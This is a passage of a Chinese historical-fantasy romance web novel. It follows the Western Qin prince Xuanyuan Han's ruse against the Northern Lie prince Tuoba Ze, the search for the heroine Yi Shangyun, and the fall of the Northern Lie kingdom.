到处皆是云雾缭绕,似是层层叠叠的轻纱在摇曳升腾,又似条条玉带在互相纠缠着。 就这样在所有人满心的期盼当中,终于,天亮了。 拓跋泽兴冲冲地带领着众残兵败将,亦是自认为自己最精锐的兵力,马不停蹄地终于赶到了轩辕翰所驻扎的西秦大军营地外。 亲自来鉴证这一颇为激动人心的历史时刻,并带领人马突围。 只见他手持缰绳勒马停下,打量了一会儿四周情形后,威严地一扬起手来,整支队伍便全都跟随其一起停在了营外。 这时,从军营里脚步匆匆地疾奔出来一名长相打扮看起来十分粗犷彪悍的大胡子将领,身后带着一队人马。 那将领一近身过来便垂首下去朝着拓跋泽极为恭敬的拱手禀报:“启禀大皇子,末将已经带人仔细查看过整个西秦军营的里里外外,其所有将士已全都因饮水中了水精灵之毒而自燃,尸体皆都已化成灰烬了。” 拓跋泽一听,双眼顿时光彩熠熠,继而一瞪向那将领着急地问:“那秦王轩辕翰呢?是不是也已经死了?” 将领答曰:“秦王轩辕翰的尸体已经在大帐内烧的只剩下残碎的盔甲了。” “好!很好!本皇子要亲自进去看一看那个英勇神武的灵空战神的死相,见他最后一眼。”拓跋泽颇为满意地说着,便欲跨下马来。 忽然,身旁另一将领伸手将其拦住:“大皇子万万不可,这里到处烟雾弥漫,似是极为诡异。” 眼前的视线极其模糊不清,根本分不清所出现的究竟是烟还是雾,只看到其中隐隐约约现出来的星星点点的火光,以及一地的凌乱不堪。 似是颇为吃力,那将领紧张地跨在马背上双眼微微眯起,探视着面前遍地燃烧着的一片狼藉。 拓跋泽怒瞪了他一眼,却怒声道:“怕什么?你难道没看见我军来此这一路上到处都静悄悄的。若不是因为这些西秦将士俱都已经中了水精灵之毒升天而全军覆没了,难道你认为我们会如此容易便大摇大摆,毫无阻碍地走到他们的营地前来吗?!” 见那将领颤颤巍巍,犹犹豫豫,不安地四处张望着,像是根本就没有听到自己所说一般,依旧不收回那只挡在自己身前剧烈颤抖着的手,拓跋泽大声呵斥其道:“蠢货,还不快让开!” 一阵厉声,吓得他方才顿时将手收了回来。 然很快一回过神来,尽管他依旧坚持着朝其背影大声地疾呼想要阻止:“大皇子,切不可……” 然拓跋泽早已被自认为已然到来的心心念的胜利时刻冲昏了头脑,再也听不进任何劝说。 自顾一步跨下马背来,抬腿踢开脚下的凌乱阻碍,在先前探路的将领引路下昂首阔步朝着轩辕翰的大帐内走去。 一进门,便朝其地上所燃尽的只剩下一套坚固的盔甲旁蹲身下去,亲自拈起地上的一撮灰烬来细看。 两名其近身侍卫见了,四目相对了一瞬后,紧忙亦上前蹲身了下去。 拓跋泽望着手里缓缓碾开来的灰烬独自半眯起眼睛来默想着,只见其眉头愈皱愈紧,似是颇为不解地都快要皱成个“川”字。 “殿下可是有什么发现?”侍卫似是亦觉察到了有些不对劲,于是便好奇地问。 然一时间里,沉默,沉默,依旧还是沉默…… 许久后,他忽然开口对身旁的侍卫沉声说道:“这看起来...好像并不是人的骨灰,倒像是……” 尚未待其将话说完,两名侍卫便异口同声地惊声道:“不是人的骨灰,那是何物?” 顾不得俩人吃惊的模样,拓跋泽兀自再次仔细想了想,又将其靠近鼻翼闻了闻,道:“这似乎倒更像是羊骨夹杂着...稻草,混合在一起所燃烧后的灰烬。” 说完,他倏的一下忙起身来挪步继续向着大帐内的其他几套盔甲边所残留的灰烬走去,细细查看了一番后却皆是相同的结论。 最后缓缓起身的时候,当他忽然瞥见被卡在案几下角落里所残存的尚还未被燃尽的一截像是白骨类的东西时,他一把抽出了腰间的佩剑将其猛的一下挑出来一看,顿时望着其惊诧极了。 “殿下,这...这好像真的是一截羊骨?”两名侍卫忙凑上前去望着眼前自己从小到大,在这片草原上熟悉的不能再熟悉的一截骨头,瞬间惊呆了。 拓跋泽顿时有一种极不好的预感涌上心头,忽地反应过来大声疾呼:“不好,中计了,此处定有埋伏!快逃。” 然话音未落,三人刚一掉头欲往大帐外逃去,尚未迈开步来便被莫名其妙,从大帐进门处的地毯下揭毯而起,窜上来的早已埋伏在此坐等瓮中捉鳖的十几名西秦将士团团包围了起来。 拓跋泽与其侍卫三人顿时背靠背靠拢,纷纷拔剑挡在自己身前做应战之势。 看着自己方才进来时稳稳踩过,却一点儿异常都未觉察到的那张神奇的地毯,又惊慌地环视了一眼四周,显然他们已毫无退路。 就在他思索之际,飞身而出一名手执利剑,一袭战袍的年轻西秦国将领,上前挥动剑尖直指着拓跋泽的鼻子道:“拓跋泽,终于等到你了,本将军看你这次还能往哪里逃?!” 拓跋泽将他上下仔细打量了一番,疑惑地问:“你是什么人?” 这时,一名身着西秦士兵战衣,看起来却似是有些眼熟的男子进来朝那年轻将领近身过去禀报道:“衣将军,大帐外的北烈人马已经全部都被我们拿下了。” 拓跋泽这才恍然大悟:“原来你就是西秦大军里所传说的‘一夫当关,万人莫开’的有勇有谋的新将领,衣上俊。” 一时间,国仇家恨一起顿时涌上了心头,不停地在衣上俊的内心里翻滚着。 想起这场战争从开始至今,所死伤无数的西秦士兵,衣上云的死,往日里的一幕幕,他顿时咬牙狠狠地道:“拓跋泽,你竟然不惜牺牲自己无数子民的无辜性命,妄想在水源里下入‘水精灵’如此卑劣之毒来突围,这般大失民心,遭天人共愤的举动,明明就是在自寻死路。” 而拓跋泽却冷冷地哼笑了一声,道:“哼,只要本皇子能使你们这些狡诈的西秦十六万大军全军覆没,踏平西秦,死几个贱民算什么?” 衣上俊睁大了眼睛瞪着他,惊道:“死几个贱民?临近水源处方圆数几十里,那是死几个人的事吗?看来你想赢了这场战争真是想疯了?” 顿了顿,衣上俊见拓跋泽似是无动于衷,毫不在乎的模样,又道:“可你怎么都没想到,我军不仅饮了那水源里的水没有中毒,就连被你们俘获至北烈军营多年的我西秦子民更是至今都铁骨铮铮,连夜潜逃出来将你的如意算盘及时传至我军。秦王殿下早就料到你一定会亲自来查验这座大帐,于是你北烈子民便杀了自己最为珍视的牧羊,连夜鼎力相助我军扎制了这个大帐里如此逼真的几个草人以瞒天过海。” 听了这些话,拓跋泽顿时惊呆了。 衣上俊轻笑了一声,继续道:“今日竟然突起大雾,正好混淆你们的视听,真是‘天助我军’。既然如此天时、地利、人和,我马上便取了你的项上人头,以此来祭奠我死去的无数西秦子民与我那可怜的大姐!” 拓跋泽忙回过神来,却来不及思索为何他们会没有中毒,倒是先思量了一瞬惊讶地道:“你的大姐?衣上俊,衣上云,难道你的大姐她是……” 未及其将话说完,衣上俊抢先忿忿地道:“我的大姐,便是被你欲要强行掳回北烈,在城南不慎落崖丧命的衣上云。这笔账,你不会这么快便已经忘了吧?” 话一说完,便使出了全力握紧了手里的利剑正欲朝其发力刺去,身后忽然传来一阻止的声音道:“住手!” 衣上俊紧忙收势回头一看,见原是程良与轩辕翰进来。 程良一近身至衣上俊身旁便道:“衣将军,你还不能杀他。” 衣上俊正欲开口说话,拓跋泽突然一边将手里的利剑收回到剑鞘里,冷不防地竟仰天大笑了起来:“哈哈哈,哈哈哈哈哈……” “你笑什么?”衣上云见了忿忿不解地问。 “哼,本皇子笑什么与你何干?”拓跋泽忽地收声,对其冷冷地说道。 见他即便是此时已死到临头,依然这般肆无忌惮的猖狂之态,衣上俊怒冲冲地再次朝其举起剑来道:“你再笑笑试试看,信不信本将军马上便让你这辈子再也笑不出来。” 拓跋泽不屑地朝其冷哼了一声,移开视线,不再看他。 衣上俊恨恨不解地问:“程将军,对这种丧心病狂,早就该被天诛地灭之人,为何不能杀他?” 程良看了与其一道进来的身后的主子一眼,轩辕翰朝其点了点头,程良便道:“衣将军,其实,衣姑娘,她并没有死。” “你说什么?” 第四百一十二章:你找死 程良看了与其一道进来的身后的主子一眼,见轩辕翰朝其点头示意,程良方才吸了口气认真说道:“衣将军,其实...衣姑娘,她并没有死……” 未及其将话说完,只见衣上俊霎时惊叫了一声:“你说什么?” 刹那间,那只握剑的手一抖,一柄利剑倏的一下便从其手中滑落在地上发出清脆的一阵响,衣上俊朝着程良瞪大了眼睛惊呆了。 程良惊看了一眼其脚下落地的长剑,再次开口道:“衣将军,关于衣姑娘这件事说来话长,但是请你相信,我们绝对不是有意要隐瞒你此事的。眼下最重要的,是要尽快将衣姑娘找回来。” “大姐,大姐她没死,她真的还没死,我就知道她一定不会那么容易死。” 然衣上俊却似激动地已经什么都听不进去了,只一把紧紧地捉住程良的一只手腕来一个劲难以置信地道。 他看看程良,又看看一直素颜站在一旁一动不动的轩辕翰。 只见程良对其缓缓摇了摇头,衣上俊竟瞬间欣喜若狂地笑了起来,眼里似是都还有些湿润地道:“太好了,这真是太好了。吉人天相,大姐她还活着,她真的还活着……” 可刚一回过神来,他又不解地问:“可大姐还活着又与他有何干系?我为何不能为民除害,取了他的狗命?” 程良轻叹口气,看向拓跋泽的脸道:“因为,当初就是他处心积虑将衣姑娘从西秦掳走带至到北烈的。” 程良一边说着,一边拔出了腰间的佩剑直指向拓跋泽的胸口处,忿忿道:“拓跋泽,如今你已经全军覆没,无路可退了。还不赶快说出衣姑娘的下落吗?你到底将她藏到哪儿去了?” 岂料拓跋泽竟镇定自若,似是一点儿也不紧张与担心,即使是现在,依旧肆无忌惮地再次仰天大笑了起来:“哈哈哈哈哈,哈哈哈哈哈……” 而在没有得到衣上云的确切下落,保证其安全之前,所有人皆是只能隐忍着他的狂傲不羁,拿他已然无可奈何。 忽然,他收声不屑地看了看程良与衣上俊满腔愤怒的脸,说道:“那丫头,她可并不是本皇子掳来的,她是自己心甘情愿跟着本皇子来的。” 闻此,衣上俊上前两步,恨恨道:“莫要在此胡说八道,大姐她自小乖巧懂事,从未出过远门。又怎么可能会忍心抛弃家人和一切,背井离乡来到这千里迢迢的苦寒之地呢?一定是你,一定是你用什么卑劣的手段诱骗了她!” 拓跋泽朝其哼了哼鼻子,言语里透着些许失望地道:“本皇子倒还真希望自己能有那样的本事诱骗得了她!可惜……” 欲言又止地说完,继而转目看向俩人身后一直沉默着的轩辕翰的脸,道:“那都是拜这位灵空大陆上,无人不对其敬仰,大名鼎鼎的战神秦王所赐!” 轩辕翰闻声,眼里终于与方才有了一丝不同,只见其顿时寒光四射向拓跋泽的脸,不解地道:“你这话是什么意思?” 拓跋泽冷笑了一声,却并未直接回答他的疑问,却炸出了一句道:“这女人之间的战争,果真是不见一缕硝烟,便足以杀人于无形,让一个大活人变得只剩下一副躯壳。没想到,整日里朝夕相处,面对那般尊贵美貌的一位王妃,秦王竟然还能坐怀不乱,对其视若无睹,这可真是暴殄天物啊!不知,秦王妃的身子近来可还安好?那假子药的药效还不错吧?没有那丫头碍眼,王妃的日子一定过的很是舒坦吧!哈哈哈,哈哈哈……” 拓跋泽说着,竟再次大笑了起来。 轩辕翰却是越听越纳闷,低声自言自语的重复了句:“假子药?” 紧接着忙又继续追问:“拓跋泽,你到底在说什么?” 拓跋泽忽地收敛住了声音,遂将在四海茶庄里所发生的一切,缓缓与其说了起来。 只见轩辕翰一边听着,两道浓黑的剑眉紧紧蹙起,似是牙齿咬的紧紧地,双拳亦牢牢握起。 而身边的程良,衣上俊以及众人皆都亦是惊地朝着拓跋泽瞪大了眼睛。 “那丫头的身子,看起来干瘪瘦瘦,弱不经风的样子。没想到,除去衣带后,底下所现出来的那妩媚动人的春光,一寸寸光洁细嫩,弹指若破的肌肤就像整日里在牛奶中被滋润过一般。” 说完又补了一句:“对了,尤其是那身上所散发出来的诱人味道……” 忽地嘎然而止,却不禁让听的人继续往下遐想连篇, 他又故作很陶醉和享受一般地缓缓闭起眼来深深吸气,满脸尽是十足的玩味。 顿了顿,睁开眼来又叹道:“这处子之身的味道就是不一样,本皇子对她甚是满意与疼爱,差点儿醉生梦死,想要永远与她缠绵于香榻上行云雨之乐,忘了战争,忘了这江山与社稷……” “嗯” 岂料话刚出口,只闻其“扑通”一声倒在了地上,遂发出一阵闷哼声来。 众人望眼寻去,见原来是轩辕翰朝其推出了威力十足的两掌来。 那深厚的内力修为,不必近身,光是用其所发出的强大气场,便瞬间足以将拓跋泽震倒在地上,喷出了一大口污血。 只闻轩辕翰横眉冷对其厉声呵斥道:“拓跋泽,你找死!” 而拓跋泽倒地后,却竟还隐忍着伤痛强撑出一口气来,抚着胸口冷冷地道:“怎么?心疼了?” 继而笑了笑,缓缓伸手抹掉嘴角的血渍,像是已经受了极大的内伤重重的咳了两声,却还依旧底气十足地挑衅着道:“哈哈哈...西秦秦王,灵空战神,想必你做梦也不会想到自己也有这一天!就连自己最心爱的女人都保护不了,你又还算是什么战神?你就是一个中看不中用的绣花枕头,窝囊废!” 这段赤裸裸中伤的话,刹那间犹如五雷轰顶,彻底将轩辕翰许久以来积聚在心里,对衣上云所有的担心忽地猛烈震碎。 此刻,轩辕翰似是再也不能继续隐忍下去,只觉自己心头犹如惊涛骇浪般剧烈翻滚着,直冲脑门而去,身子亦不停地颤抖,突然喷出了一大口鲜血在地上:“噗……” 摇摇晃晃间,正欲倒下,程良紧张地朝其近身过去一把将其扶住,劝慰道:“殿下冷静一点。在我们没有找到衣姑娘之前,我们谁都不知道到底发生了什么?拓跋泽,他一定是狗急跳墙,故意挑衅激怒殿下,欲使殿下中伤的。” 衣上俊见此,亦忙跪倒在地拱手朝其乞求道:“殿下请息怒!” 众人皆都纷纷追随其后跪倒在大帐内外一大片,扬声请求道:“秦王殿下请息怒!” 衣上俊忽地起身来,将拓跋泽从地上一把拎起,凑到其眼前瞪着他对其狠狠道:“你究竟是何居心?你到底把大姐怎么了?你以为我们会相信你自编自话的这些花言巧语吗?嗯?” 拓跋泽缓缓从袖兜里掏出一只手镯来,放到衣上俊的面前:“这个手镯,你可识得?” “这...这不是大姐从小到大一直视若比她的性命还要重要的七彩金丝彩玉镯子吗!它,它怎么会在你的手里?”衣上俊顿时望着其手里熟悉的衣上云的贴身物件惊呆了。 拓跋泽虽然虚弱,却依旧笑着道:“这是本皇子在俘获了她的芳心后,她亲手赠予我的定情信物,这下你可信了?!” 而被程良扶着的轩辕翰一看到亦是同样熟悉的玉镯,直摇头道:“不可能,这绝不可能。云儿她不会违背我们的誓言,她不可能会对你……” 未及其将话说完,拓跋泽顿看向轩辕翰的脸,将其打断道:“那东宁公主以自己已有了身孕,来迫使那丫头放弃对你的心思。那丫头为了不成为你的羁绊,于是便放弃了一切跟了本皇子。这一切,有何不可?” 轩辕翰愣愣地道:“不,这辈子,她只能是属于本王的,她永远只能属于本王一个人,除了本王,谁都不能拥有她。” 看到他的决心,拓跋泽忽然开口厉声道:“废话少说,输了就是输了。今日你们若是杀了本皇子,以后便再也见不到她了。还不赶快替本皇子准备一匹快马,放本皇子走。若是天黑之前本皇子的手下看不到本皇子平安回去,便会将她碎尸万段给本皇子殉葬。” 此话一出,一时间里周围的空气变得尤为紧张了起来。 许久后,轩辕翰终是沉声开口命令道:“程良,放了他。” 程良虽是理解,却还是极不甘心地道:“殿下,这个人狡猾至极,我们好不容易才将他……” 话未说完,轩辕翰厉声对其吼道:“本王命令你放了他!” “属下遵命!”程良只得无奈地道。 临行之际,拓跋泽一跨上马背拉紧缰绳,忽然当着大帐外黑压压的一众皆是西秦国兵将的面,扬声公然问:“轩辕翰,那个女人,即使已经被本皇子霸占了半年之久,你也依然还要她吗?” 轩辕翰怎会不知他此举是在当众羞辱他,却只悄悄握紧了拳头,隐忍着内心的愤怒,自顾冷冷地问:“她在哪里?” 拓跋泽笑了笑:“等本皇子到了安全的地方,自会告诉你她的下落,好好等着吧!” 说完,便“驾”的一声,策马扬鞭驰骋而去…… 第四百一十三章:无力 轩辕翰握紧双拳,微微侧目怒瞪着眼前白茫茫的一片大雾里,拓跋泽策马疾驰逃离去的背影,心底默默地道:“原来,这便是你不肯与本王相认的原因,竟然是这样的。” 顿了顿,他的嘴角忽然扬起了一抹旁人难以察觉的轻笑,似是后知后觉,又似自嘲一般地发出一声道:“乌乐……” 继而,在周围黑压压一片所有将士听了拓跋泽此番极具羞辱的一番话后,皆都膛目结舌惊愕不已的对其所发出的道道目光注视下,轩辕翰缓缓转身。 迈步之间,脑海中时间不禁倒流回到俩人最初的相遇,到现在的所有一点一滴来。 第一次,在西秦百草谷山脚下的树林里,那个风高夜黑的深夜,他带人为了追捕几名疑似敌国细作的贼人不慎落入圈套,最后虽仅靠一己之力亦将贼人全部击退,而自己却也因此身受重伤,举步艰难。 就在此危在旦夕紧急之时,像是从天而降的一般,她出现了。 不知为何,他竟鬼使神差地第一次乖乖将自己的生死交给到一个陌生人手里,而也许正是那一刻起,她便已经入了他的眼,他的心…… 她看起来似是那样柔弱无力,单薄娇小,浑身却是充满了让他后来每每总能意想不到的神奇力量与胆识。 就像是天性一般,对于每一个与自己即使毫不相干,哪怕只是路边经过时所偶遇到的陌生的灵儿婆孙,她依然可以完全毫无保留地朝其伸出援手…… 哪怕是从小到大,对自己从不正眼瞧一下的父亲,不,那还并不是她的亲生父亲。她也可以为了帮其脱罪,甘愿在西秦皇宫里奴颜婢膝,受尽委屈。 后来,她更是为了太子与公主,甚至差点丢了性命。上苍垂怜,还好最后终得仙草,才没能使其落下病根。 却又为了一个无关老人对媳妇的忧心,再一次让自己身陷囫囵,卷入到层层阴谋之中。 好不容易,本以为骁龙会的重逢后,俩人山盟海誓,今生今世,生生世世,再也不会分开。他也已经准备好将用尽自己的一切去护她,怜她,疼她。 可他怎么都没想到,造化弄人,她竟会就是失踪了的守护者后人的女儿。 她的母亲,当年正是为了护他,带着尚未出世的她奋不顾身地坠落悬崖。 他更不曾想,失踪了的守护者后人有朝一日归来,竟然已贵为东宁国皇后。 既然,她已为东宁国尊贵的嫡公主,就本该过着锦衣玉食,无忧无虑,宛若一颗最耀眼的掌上明珠般被一个身份尊贵的男人捧在手心里疼着,护着。 可如今,却因了另一个身份,要承受未来不知有多沉重的另一个使命。 竟是她,原来,她还未出世,他们便就已经认识了…… 可是,接下来,他又该怎么做? 他到底怎么做才能保护她?怎么做,才能不再让她受到冷酷无情的伤害。 一边思索着,回到帐内的案几边默默坐下,遂将拳头握的咯咯直响:“拓跋泽,你竟然胆敢碰本王的女人。总有一天,本王一定会让你为此付出沉重的代价……” 过去一切的一切,或是甜蜜,或是苦涩,一点一滴地从脑海里翻滚而出,他默默地道:“云儿,你到底在哪儿?我们一次次地擦肩而过,纵使本王做错了,不该对你有一点点迟疑。可难道在你的心里,本王就是那样的不守承诺?还是...你根本就是一直在怀疑本王对你的心意。” 思念太长,越想越觉得自己如坐针毡又不知所措,似是心都已经快要碎了:“你可知?今生今世,生生世世,本王的心里除了你,不会再有任何人,纵使...拿这整个天下亦不换。” …… 不知过了多久,轩辕翰依旧独自坐在大帐里一动不动地深陷在自己沉沉的思索与后悔中发呆,耳边忽然响起了程良颇为急促和兴奋的脚步声进来道:“殿下,好消息,真是好消息。” 闻声,轩辕翰却并未抬头,只是深吸了口气将那双冷冷的眼睛微微眨了两下。 程良似是已对其心思有了些许察觉,遂敛了笑容继续禀道:“殿下绝对想不到,方才据那些追随拓跋泽的俘虏所言,北烈老国君于几日之前突然薨逝。由此可见,那优柔寡断的二皇子拓跋宏连夜赶回腹地,一定是闻讯回去奔丧了。” 闻此消息,轩辕翰心里着实惊了一下。 程良继续道:“所以我军都已经按照原计划从四面八方全部向腹地围攻去了。此次将计就计,我们可谓是彻底粉碎了拓跋泽最后仅剩的残余势力,相信很快便会拿下整个北烈国,结束这场战争。” 岂料轩辕翰却一点儿也没有露出他想象的那种兴奋,程良稍一回想,缓缓道:“殿下,那个拓跋泽,他真的会告诉我们衣姑娘的下落吗?” 轩辕翰依旧不言亦不语,唯有眼睛慢慢抬起直死死盯視着大帐外拓跋泽离去的方向,在心里满心期待着。 就在这时,耳旁忽然传来“嘚嘚嘚”的一阵愈来愈清晰的马蹄声。 轩辕翰听了,立刻扬起了一脸欣喜地起身来三步并作两步冲出了大帐外,出门放眼一看,见果然是拓跋泽方才骑走的那匹快马回来。 遂上前一把拽住缰绳,却只见其空荡荡的马鞍上唯独只系着一只小锦囊,他迫不及待地一把将其扯了下来打开一看,竟是那只他再也熟悉不过的七彩金丝彩玉镯子。 程良着急地将其另一手里的小锦囊袋夺了过去,里里外外翻了个底朝天,一见除此之外再无他物,顿时将其揉作一团握在手心忿忿地叫骂道:“这条卑鄙下流,厚颜无耻的北烈狗,果然毫无一丝信誉可言!” 而轩辕翰只顾紧紧地攥住那只玉镯,将其放在自己的心口,嘴里喃喃道:“云儿,对不起,都怪本王,是本王一时疏忽大意,才让你受了这么多本不该由你来承受的苦……” 一旁的程良蹙紧眉头看着,听着,心都碎了…… 待轩辕翰收拾好心情,命令众将士们起兵,直捣腹地方向而去后不久,衣上云日夜兼程,满心期待着终于赶到了轩辕翰之前所在的西秦军营处。 从腹地开始,在她来军营的一路上,所经之处到处皆在传说北烈国大皇子拓跋泽惨无人道,无力抵抗西秦大军,便丝毫不顾忌自己千千万万子民的安危,在水源里下入了一种名为“水精灵”之绝世奇毒,意图置西秦秦王于死地,以此来彻底击溃西秦大军的消息。 为此,她焦急万分,一刻不得停歇地赶路。 而当她终于风尘仆仆地赶到大帐外时,看着整个军营里四处升起的滚滚狼烟,丢盔弃甲,遍地狼藉,整个人瞬间都惊呆了。 勒马停下对着眼前的一切怔愣了片刻后,她摇着头自言自语难以置信地道:“怎么会这样,不可能,不可能……” 稍一回过神来,一边着急地道:“殿下,殿下,殿下他……” 说着,便跌跌撞撞地跨下马来,直奔进早已是到处空空如也的轩辕翰的大帐内。 顿足立在门口,颇为震惊地环顾了一番四周后,忽觉一阵晕眩,眼前一黑,忙伸手扶住手边的门框,努力使自己强撑着,最后将目光定在了地面上一处,缓步过去慢慢朝其跪了下来。 霎那间,泪水迷蒙了双眼,她的双手不听使唤地剧烈颤抖着,拾起地上上次不久前俩人尚还在这同一个地方见面时,所看到的那个熟悉的面孔身上所着的盔甲碎片,而此刻却已被烧的这般惨不忍睹。 虽不愿意相信,然眼前的种种迹象事实却无疑在残忍地一寸寸摧毁着她内心的坚定。 她将拾起的盔甲碎片置于胸口,肝肠寸断泪流满面地抽泣着道:“殿下,对不起,对不起,云儿来迟了!云儿来迟了!” 离别时,拓跋宏的话顿时萦绕在了耳旁。此刻,她的确后悔极了:“殿下,云儿当初实在不该怀疑殿下对云儿的心,不该自卑退缩,更不该离开殿下,还轻易相信了秦王妃的话。” 她紧紧抱着盔甲碎片,仿佛想要永远留住他最后所残留下的一点儿温度一般。 心,渐渐变得越来越痛:“云儿错了,云儿大错特错,这才害的殿下您枉送了性命。云儿知道,若不是殿下不相信云儿的死,断不会这个时候突然对北烈起兵。云儿微小,死不足惜,可殿下是西秦国百姓的秦王。云儿是罪人,云儿是全西秦国,全天下的罪人呢,云儿,云儿……” 情绪已然激动地不得呼吸,所有的语言在这一刻都变得似是那般的苍白无力。 许久后,她忽然缓缓起身来,步履蹒跚,失魂落魄地走出了大帐。 竟不知何时,天地间早已是风起雨落,吹散了苍茫天地间的烟雾缭绕。 她依旧痴痴地紧紧抱着那片盔甲碎片,在雨中漫无目的的缓缓走着走着。 忽然顿足停住,仰望着头顶的天空,任凭滂沱大雨无情地冲刷着她瘦小的脸庞。 直至,到连同她心底早已无声蔓延开来的思念与悔恨,淹没了天空尽头的最后一抹亮光。 最后,被雨水浇灌的实在已无力支撑,她的身子开始变得摇摇晃晃起来。 就在她即将倒地的那一刻,忽然现出了一双强而有力,细长的大手正好将其稳稳扶住,关切的声音清晰地传入她的耳畔:“丫头” 第四百一十四章:北烈亡 蓦然间,周围的一切似乎都已离她远去,从始至终就只有她一个人而已。 从未有过如此冰冷无情的雨滴,砸在她娇小的身子上,起先还觉得到点点都是疼痛,后来不知何时竟已慢慢麻木,狂风吹过身子,激起一阵阵寒意。 愈来愈阴暗的天地间,似乎除了风雨就只剩下她,只有她一人面对着天地的狂暴肆虐,承受着它的雷霆之怒,恰恰似是对她无比严厉的惩罚。 她紧闭双眼,任由万千雨点无情地砸落而一点儿也不避让。她深知,纵使此时上天想要她的命,她也是毫无怨言。 无边无际的雨,阴沉的天色难辨时辰,只有身子不停地发抖,时间仿佛静止,似乎这雨就这样要下到地老天荒。 不知道究竟过了多久,只觉得自己已冻无可冻,身子僵硬,似是连发抖都不会了。 忽然,脑海中一闪。 在一个自己未知却又似曾相识的国度亦或空间里,与此时一模一样的场景现了出来。 那个国度亦或空间的她牙齿打着颤,弱弱无奈地道:“魏明轩,你在哪里?你到底在哪里?这一切,到底是为什么……” 脑海里一片混乱,似是万念俱灰,再也生无可恋,说着,她闭上了眼睛,身子亦摇摇欲坠了起来…… 就在她即将倒地的那一瞬间,忽然现出了一双强而有力,坚实的大手,正好将其肩头一把揽住,顺势稳稳地将她揽入到自己宽阔温暖的胸膛。 继而,一阵焦急关切的声音袅袅地传入她的耳畔:“丫头,丫头……” 距离北烈腹地不远处。 由轩辕瀚亲自率领的西秦大军队伍,正全力向着这场战争最后的胜利行进着。 所经之地,但凡有人烟的地方,无不对西秦将士的队伍载歌载舞热烈相迎,像是已经在心里默默地期盼了已经太久。 每一个跪拜的百姓手里,都高高捧起着自己本就不怎么宽裕的家庭里自认为是最珍贵的礼物,要献给解救了他们无数人的生命,被北烈皇族抛弃了的他们的英明队伍。 更是无一不对西秦秦王俯首跪拜,齐声呐喊:“秦王殿下千岁,千岁,千千岁……” 这民心所向,此起彼伏,连绵不断的发自人们最肺腑之声,响彻天地…… “嘚嘚嘚” 忽然,前方传来一阵急促的马蹄声,将这热闹非凡的场面打断。 伴着那声音越来越清晰,很快一名西秦士兵惊慌地勒马下来,疾步上前抱拳跪倒在轩辕瀚的马前,恭敬地道:“属下参见秦王殿下!” 轩辕瀚见了面色一沉,似是有些疑惑,看着面前紧张怯怯的侍卫皱了皱眉头。 身旁的程良一见,厉声喝道:“何事如此惊慌?” 侍卫心中看似着实极为惶恐着,无奈只能忙吸口气复又将头埋得更低了些禀告起来道:“启禀殿下,将军。属下们随衣将军找到北烈二皇子的时候,那北列国二皇子他……” 岂料好不容易鼓足了勇气,可话到嘴边,终还是不知该如何说出口。 见此,程良像是已经预感到了什么不好的事情,忙看了眼身旁同样疑惑的主子,紧接着回头朝那侍卫大声喝道:“北烈二皇子到底怎么了?还不快说!” 侍卫或被惊吓到,脱口即道:“那北烈二皇子或许已经料到了即将要亡国,竟然大逆不道,于昨夜后半夜里在北烈老国君的灵柩前…引火自焚了……” “什么?”未及其将话说完,程良大惊失色道。 侍卫惶恐,垂首继续道:“不仅如此,就连附近数十个北烈贵族的帐篷亦全都一起被烧成了灰烬。所有族人…无一生还。” 程良听了,一脸木然,一时间心里五味杂陈。 轩辕瀚只觉心里咯噔一下,只迫不及待地问:“那衣将军可有查到云儿的消息?” 侍卫依旧抱拳跪地,吞了口口水,又咬了咬嘴唇,将头埋的更低,怯声颤颤地道:“衣将军为了寻找衣姑娘,命人连夜搜寻了周边所有地方寻找活口,最后只在一条小河边的草丛里找到一名奄奄一息的北烈士兵。” 听到这里,轩辕瀚似是终于看到了一抹曙光,眼前突觉一亮道:“怎么样?” 侍卫语气里透着失望地道:“据那士兵所说,二皇子从战场上回来时确实带回了一名叫乌乐的女子,说她很可能是谋杀北烈老国君的凶手……” “乌乐”轩辕瀚微微颔首,兀自心里重复道。 至此,他已然无法再凝神听清楚侍卫下面所禀报的消息,怔了一怔,遂将其连忙再次打断,心中热切地暗喜道:“那乌乐人呢?” 侍卫一惊,怯怯道:“那老国君的灵柩前有两具尸骨,一男,一女……” 心中刚刚燃起的一丝希望,瞬间被现实击得粉碎:“什么?” 轩辕瀚着实惊呆了,遂紧接着低声喃喃自语道:“不可能,这不可能,云儿她不可能会……” 霎时间,一直柔和的风忽然转大,树枝被风吹得喀嚓喀嚓作响。大风刮落树上的黄叶,搅起地上的落叶。 在漫天舞动着的秋叶中,轰轰雷声由远及近,漫天乌云黑沉沉压下来,天色迅速转暗。 跪倒了一地的众人皆都顾不得伸手去遮蔽沙尘,只是努力让自己的目光定定地看向那高大的马背上巍然挺立的身躯,他的怒不可遏…… 几道闪电如金蛇狂舞着撕裂了黑云密布的天空,阵阵雷声中,豆大的雨点从天空中打落下来。不大会儿,又是一个霹雳,震耳欲聋。 一霎间,雨点连成线。 “哗”的一声,大雨就像塌了天似的铺天盖地倾泻而下。 只见那威武的身躯终是微微一斜,随之,周围的人们俱都慌忙起身朝其涌了过去,顿时陷入了一片混乱之中。 “殿下,殿下……” “秦王殿下,秦王殿下……” 斗转星移。 转眼间,已是时至深秋。 自从西秦秦王亲自帅兵,大败蛮夷之邦北烈国后,从此灵空大陆上的整个中原,以及广阔的西北区域皆都成为了西秦的国土。 灵空大陆原本四国各踞一方彼此制约,从此变为了三国鼎立之势。 然三国之间,表面上看似友好,实则各自都在蠢蠢欲动加紧策划着,酝酿着一场前所未有的王者终极之战。 是夜。 灵空大陆富甲一方的东宁国皇宫里,刚刚结束了一场颇为喜庆的盛大宫宴。 今夜,是东宁国老国君新添的小皇孙,即梅志煊与轩辕玥之子的满月宴。 此时,富丽堂皇的宫殿里,继后正一身凤袍加身,逗着老嬷嬷小心翼翼地抱在怀里的小皇孙。 “瞧这小模样长得,果真是招人喜欢,难得你皇爷爷今儿如此开心,可是许久未见了。” 说着说着,不知想起了什么,怔了一下,笑容忽然随之渐渐淡去,遂收声转身挪步在榻边坐了下来,方才对一直站立在厅里的轩辕玥漫不经心地道:“你也坐吧。” “谢母后赐座。”轩辕玥微笑着欠身致谢后,温婉落座。 只见继后身边的宫女微微使了个眼色,便有宫女双手捧着各式各样喷香精致的茶点走了进来。 继后开口道:“都说这女人生孩子,就像是在鬼门关前走了一遭。玥儿,你可是我东宁皇室的大功臣,宫里好久都没这么热闹了。” 顿了顿,指了指摆在轩辕玥面前的一道鲜亮的红色茶汤道:“这道汤,是本宫特意命人根据你们西秦国的样式特意为你熬制的。你现在的身子还虚着,要多加服用,好好调养才是。” 